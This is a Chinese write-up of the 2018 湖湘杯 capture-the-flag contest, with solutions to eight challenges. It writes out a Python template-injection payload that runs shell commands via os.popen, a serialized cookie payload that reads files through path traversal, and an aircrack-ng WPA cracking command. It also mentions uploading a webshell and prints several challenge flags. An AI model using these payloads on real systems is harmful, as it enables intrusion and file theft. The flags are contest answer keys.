湖湘杯-hxb2018-writeup
No pwn_No re_No_crypto
1、 code_check
解題思路、相關程式碼和Flag截圖:
連結:http://47.107.107.94:49882/login.php
目錄掃描得到list.php原始碼,發現id引數是一個加密的引數,通過解密過程解密為1hxb2018然後查詢id=1的情況,並且返回結果。
對原始碼稍加改動,利用mcrypt_encrypt函式以及已知引數可以實現任意構造加密的sql語句,從而實現sql注入
資料庫為Root許可權,可得出flag在notice2表中
2、 xmeo
解題思路、相關程式碼和Flag截圖:
python SSTI模板注入,任意命令執行:
構造payload:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('grep -r -n "hxb" /home').read()}}
3、 readflag
file協議一頓亂讀,發現讀不到flag,只能通過讀配置檔案,發現apache2的配置檔案存在並且可讀,可以得到web服務目錄:
Web.php無法讀取,直接讀flag:
4、 mynote
這題剛開始是非常規解,直接繞過圖片限制傳大馬,然後得到flag:
然而這flag是被人換了的,導致題目被禁。
常規解法:
抓包發現picture頁面讀取圖片是通過請求頭中cookie picture的值來讀取的:
同樣可以構造payload:a:2:{i:0;s:15:"bypass-xiao.jpg";i:1;s:14:"../../flag.php";}
然後base64加密,發包進行反序列化從而讀取flag.php
將得到的base64圖片內容解碼得到flag:
5、 Welcome
解題思路、相關程式碼和Flag截圖:
簽到題,關注公眾號回覆即可
6、 Disk
解題思路、相關程式碼和Flag截圖:
下載下來得到一個vmdk,直接放進FTK中檢視。
一開始看到四個flag.txt都是flag is not here.以為又是假flag。。後來發現別的辦法行不同,再次觀察FTK。
發現四個flag的ads流是不一樣的,複製下來得到一串二進位制
0110011001101100011000010110011101111011001101000100010001010011010111110011000101101110010111110100010000110001011100110110101101111101
解得flag
flag{4DS_1n_D1sk}
7、 Flow
解題思路、相關程式碼和Flag截圖:
開啟資料包,發現全是802.11協議,且能發現
沒有其它存在密碼的可能性,那麼開啟aircrack-ng,使用kali自帶的rockyou.txt字典爆破。
aircrack-ng ctf.pcap -w /usr/share/wordlists/rockyou.txt
得到金鑰,載入進wireshark中。
可以發現多了很多新的流量。證明解密成功。直接匯出http物件。
flag{H4lf_1s_3n0ugh}
8、Hidden write
圖片中有許多IDAT塊,以及導致圖片資料非正常結束的IEND檔案尾標誌。可以提取三張表面相同,但是資料不同的圖片,對提取的第一張圖片檢視LSB低通道得到第一部分flag,第二張與第三張進行盲水印解密得到第三部分flag,加上原始圖片最末尾的那串,就構成了完整的flag。